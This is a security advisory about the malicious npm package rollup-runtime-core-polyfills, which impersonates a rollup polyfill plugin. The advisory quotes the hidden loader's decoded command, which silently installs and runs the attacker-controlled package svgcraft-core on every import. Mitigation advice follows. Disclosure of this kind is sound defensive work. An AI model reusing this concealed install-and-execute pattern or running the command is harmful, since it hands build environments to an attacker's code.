Malicious code in rollup-runtime-core-polyfills (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (868d4b253cfa762cd40d8064b3a99cbed00203fbed19402d5033551720690199) The package presents itself as a rollup polyfill plugin and copies the source of rollup-plugin-polyfill-node (repository field points to FredKSchott/rollup-plugin-polyfill-node), but dist/index.js appends a top-level block that decodes a base64 literal to the command `npm install svgcraft-core --no-save --silent --no-audit --no-fund`, spawns it via child_process.spawn, and on completion calls `require('svgcraft-core').getPlugin()()` — the module name is also base64-encoded. This runs on every require()/import of the plugin, so any build that consumes this package pulls and executes whatever code is currently published under the attacker-controlled npm name svgcraft-core. The base64 wrapping of both the shell command and the require target, and the try/catch that swallows errors, are deliberate concealment on top of a name that closely resembles the legitimate rollup-plugin-polyfill-node.
AI Analysis
Technical Summary
The rollup-runtime-core-polyfills npm package, specifically versions 0.0.1 and 0.13.0, includes a malicious top-level code block in dist/index.js that decodes a base64-encoded shell command to silently install the attacker-controlled svgcraft-core package without saving it to dependencies. It then requires and executes a function from svgcraft-core on every import or require of the plugin. This behavior allows arbitrary code execution during build time, with deliberate obfuscation through base64 encoding and try/catch error suppression. The package impersonates the legitimate rollup-plugin-polyfill-node to increase the likelihood of installation.
Potential Impact
Any build process or environment that imports or requires rollup-runtime-core-polyfills versions 0.0.1 or 0.13.0 will automatically execute attacker-controlled code via the svgcraft-core package. This can lead to arbitrary code execution, potentially compromising build environments, injecting malicious payloads, or furthering supply chain attacks. The malicious code runs silently and is concealed, increasing the risk of unnoticed compromise.
Mitigation Recommendations
No official patch or remediation is currently documented. Users should immediately stop using rollup-runtime-core-polyfills versions 0.0.1 and 0.13.0. Remove the package from all projects and dependency trees. Replace it with the legitimate rollup-plugin-polyfill-node or other trusted alternatives. Monitor for any unexpected network activity or installations of svgcraft-core in build environments. Check vendor advisories or npm security advisories for updates on remediation or package removal.
Malicious code in rollup-runtime-core-polyfills (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (868d4b253cfa762cd40d8064b3a99cbed00203fbed19402d5033551720690199) The package presents itself as a rollup polyfill plugin and copies the source of rollup-plugin-polyfill-node (repository field points to FredKSchott/rollup-plugin-polyfill-node), but dist/index.js appends a top-level block that decodes a base64 literal to the command `npm install svgcraft-core --no-save --silent --no-audit --no-fund`, spawns it via child_process.spawn, and on completion calls `require('svgcraft-core').getPlugin()()` — the module name is also base64-encoded. This runs on every require()/import of the plugin, so any build that consumes this package pulls and executes whatever code is currently published under the attacker-controlled npm name svgcraft-core. The base64 wrapping of both the shell command and the require target, and the try/catch that swallows errors, are deliberate concealment on top of a name that closely resembles the legitimate rollup-plugin-polyfill-node.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The rollup-runtime-core-polyfills npm package, specifically versions 0.0.1 and 0.13.0, includes a malicious top-level code block in dist/index.js that decodes a base64-encoded shell command to silently install the attacker-controlled svgcraft-core package without saving it to dependencies. It then requires and executes a function from svgcraft-core on every import or require of the plugin. This behavior allows arbitrary code execution during build time, with deliberate obfuscation through base64 encoding and try/catch error suppression. The package impersonates the legitimate rollup-plugin-polyfill-node to increase the likelihood of installation.
Potential Impact
Any build process or environment that imports or requires rollup-runtime-core-polyfills versions 0.0.1 or 0.13.0 will automatically execute attacker-controlled code via the svgcraft-core package. This can lead to arbitrary code execution, potentially compromising build environments, injecting malicious payloads, or furthering supply chain attacks. The malicious code runs silently and is concealed, increasing the risk of unnoticed compromise.
Mitigation Recommendations
No official patch or remediation is currently documented. Users should immediately stop using rollup-runtime-core-polyfills versions 0.0.1 and 0.13.0. Remove the package from all projects and dependency trees. Replace it with the legitimate rollup-plugin-polyfill-node or other trusted alternatives. Monitor for any unexpected network activity or installations of svgcraft-core in build environments. Check vendor advisories or npm security advisories for updates on remediation or package removal.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-11145
- Osv Schema Version
- 1.7.4
- Aliases
- []
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a73572fbf8831d53913cd3c
Added to database: 08/05/2026, 15:30:55 UTC
Last enriched: 08/05/2026, 15:38:04 UTC
Last updated: 08/05/2026, 15:40:17 UTC
Views: 2
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.